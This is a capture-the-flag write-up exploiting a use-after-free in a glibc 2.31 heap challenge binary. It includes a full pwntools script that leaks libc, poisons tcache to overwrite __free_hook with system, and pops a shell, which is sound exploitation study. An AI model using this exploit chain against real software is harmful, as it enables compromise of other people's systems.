Vulnerability
The defuse option frees a chunk but leaves the pointer in the slot table, so you get a use-after-free read and a use-after-free write.
Target
glibc 2.31, Full RELRO, PIE, NX, no canary.
- Full RELRO means no GOT overwrite, so I went for
__free_hook. - 2.31 is before safe-linking, so a tcache
fdis still a raw pointer and can be overwritten with any address.
Menu
| Verb | Action |
|---|---|
plant |
allocate + fill |
defuse |
free (pointer not cleared) |
rewire |
write into an existing slot |
inspect |
read a slot back |
Exploit
0. Setup
pwntools does the plumbing: ELF for the libc symbols, args for the
local/remote switch, and one wrapper per menu verb so the steps below read like
the menu does. defuse, rewire and inspect have the same shape as plant.
from pwn import *
exe = './thermite-charge'
context.binary = ELF(exe, checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
io = remote(args.HOST, int(args.PORT)) if args.REMOTE else process(exe)
def menu(c):
io.recvuntil(b'> '); io.sendline(str(c).encode())
def plant(slot, size, data):
menu(1); io.recvuntil(b'): '); io.sendline(str(slot).encode())
io.recvuntil(b'size: '); io.sendline(str(size).encode())
io.recvuntil(b'payload: '); io.send(data.ljust(size, b'\x00'))
1. libc leak
tcache only takes chunks up to 0x410, so a freed 0x500 chunk goes to the
unsorted bin and its fd ends up pointing at main_arena+0x60. A 0x80 guard
chunk stops it merging into the top chunk.
plant(0, 0x500, b'A') # victim
plant(1, 0x80, b'B') # guard against top consolidation
defuse(0) # pointer not nulled -> UAF
libc.address = u64(inspect(0, 8)) - 0x1ecbe0 # main_arena+0x60
2. tcache poisoning
Free two 0x20 chunks so tcache bin 0 holds 3 -> 2, then use the UAF write to
point the head at __free_hook. The first allocation after that takes the real
chunk and the second one returns __free_hook.
defuse(2); defuse(3)
rewire(3, 0x18, p64(libc.sym.__free_hook))
plant(5, 0x18, b'E') # drains chunk 3
plant(6, 0x18, p64(libc.sym.system)) # lands on __free_hook
3. Trigger
plant(7, 0x18, b'/bin/sh\x00')
defuse(7) # free(ptr) -> system(ptr)
Notes
The same exploit worked locally and remotely with only HOST/PORT changed,
since every address comes from the leak.
Solver: exploit.py